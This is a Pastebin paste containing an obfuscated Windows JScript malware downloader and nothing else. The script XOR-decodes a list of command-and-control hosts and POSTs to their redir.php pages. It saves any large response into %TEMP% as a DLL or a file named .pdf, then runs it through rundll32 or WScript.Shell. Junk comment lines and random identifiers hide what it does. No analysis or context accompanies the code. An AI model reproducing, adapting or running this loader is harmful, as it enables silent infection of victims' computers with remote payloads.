Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- UTUGYMDxlooG8 = "IT2912";
- //// BzQ6fVMdKByWs3hu
- //// fyznFr
- function UTUGYMDxlooG5(UTUGYMDxlooG6) {
- return new ActiveXObject(UTUGYMDxlooG6)
- //// jRNndkN96IM9jwOCIHwf
- //// IZgVyOoUE4Rs
- //// FHtwBIjqMmVA7e0j8q
- //// tLw0puDRYgk3tzJ
- //// sPMbqLsh
- //// uW0P5rfG
- //// setXV4zj
- //// nxGD7ZN5L0Qchbzk9Cb
- };
- function UTUGYMDxlooG(lsQXeInmlLuos) {
- var UTUGYMDxlooG4 = '\x00u$\x17$7}\x0dLbZ5\x03yyX###\x0au=\x0858\x09\x7f5\x1e-7\x01\x1a;\x003{F###\x0dn<\x1b:3\x04d\x27|79\x019~###;C\x03|\x1b\x13?@\x11 \x06\x13%W\x1c\x7f\x1f\x19>Q\x15|\x15\x02A>###\x0dx6\x17&5\x04u0|;$\x0b9~###\x01u,\x1f\x27&b{&\x15y|###\x06x=\x1c?%\x01gZ\x11;;A>'.split("###");
- //// hRcSSv
- //// kOfJ4ckp3CsY
- if (lsQXeInmlLuos == "") {
- detQWoOEMhc = "." + "d" + "l" + "l";
- } else {
- detQWoOEMhc = "." + "p" + "d" + "f";
- };
- for (var PRmMtdNv = 0; PRmMtdNv < UTUGYMDxlooG4.length; PRmMtdNv++) {
- var OztWZbKlFGyJEVw = UTUGYMDxlooG5("WScript.Shell");
- FJVNrliaj = OztWZbKlFGyJEVw.ExpandEnvironmentStrings("%TEMP%") + "\\" + Math.round(1e8 * Math.random()) + detQWoOEMhc;
- SkpfMZ = false;
- UTUGYMDxlooG0 = UTUGYMDxlooG5("MSXML2.XMLHTTP");
- UTUGYMDxlooG0.onreadystatechange = function() {
- if (4 == UTUGYMDxlooG0.readyState && 200 == UTUGYMDxlooG0.status) {
- var UTUGYMDxlooG1 = UTUGYMDxlooG5("ADODB.Stream");
- if (UTUGYMDxlooG1.open(), UTUGYMDxlooG1.type = 1, UTUGYMDxlooG1.write(UTUGYMDxlooG0.ResponseBody), 5e3 < UTUGYMDxlooG1.size) {
- SkpfMZ = true;
- UTUGYMDxlooG1.position = 0;
- UTUGYMDxlooG1.saveToFile(FJVNrliaj, 2);
- try {
- if (lsQXeInmlLuos == "") {
- //// twjL34GzuVTY8z3d
- //// WLZWy6xhlEzcMwi
- //// 1DhFjmr2Ho
- //// cR4de3egKXf
- OztWZbKlFGyJEVw.Exec("rundll32 " + FJVNrliaj + ", " + "DllRegisterServer");
- } else {
- OztWZbKlFGyJEVw.Run(FJVNrliaj, 1, 0);
- };
- } catch (UTUGYMDxlooG2) {
- };
- }
- UTUGYMDxlooG1.close()
- //// oTxPdOkAW8TqF
- //// 4kZrcL1l8HkydB1girGd
- }
- };
- try {
- //// R5k4Z7rdhXLhGd0DGY
- //// 5fQC0QTW
- var zWLuoXiVG = 'L4tRtv';
- var RcLaJvqnj = UTUGYMDxlooG4[PRmMtdNv];
- for (var hlftAYa = "", KRgdMFtsEwuj6 = 0, KRgdMFtsEwuj7 = 0; KRgdMFtsEwuj6 < RcLaJvqnj.length; KRgdMFtsEwuj6++) hlftAYa += String.fromCharCode(RcLaJvqnj.charCodeAt(KRgdMFtsEwuj6) ^ zWLuoXiVG.charCodeAt(KRgdMFtsEwuj7)), KRgdMFtsEwuj7++, KRgdMFtsEwuj7 == zWLuoXiVG.length && (KRgdMFtsEwuj7 = 0);
- UTUGYMDxlooG7 = "http://" + hlftAYa + "/redir" + "." + "p" + "h" + "p";
- UTUGYMDxlooG0.open("POST", UTUGYMDxlooG7, false);
- UTUGYMDxlooG0.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- //// QaSBXxSJeSfou9
- //// h5P2CRS779MX
- //// U7u3ELOQPUQtVB
- //// LStv6aB3hMzdGau
- UTUGYMDxlooG0.send("qQjfq=" + Math.random() + "&jndj=" + UTUGYMDxlooG8 + lsQXeInmlLuos);
- } catch (UTUGYMDxlooG3) {
- };
- //// THj9DZeZpue9cL
- //// XrVQf7znnHLSb9820X
- if (SkpfMZ) {
- break;
- };
- //// A5IzLsYrdAU1EM0
- //// hUefQj3Ax
- };
- //// v0J2brz
- //// EG3V0V2yPUR4dQ
- };
- UTUGYMDxlooG("");
- UTUGYMDxlooG("&ncm=TykItfZAnnMof");
Add Comment
Please, Sign In to add comment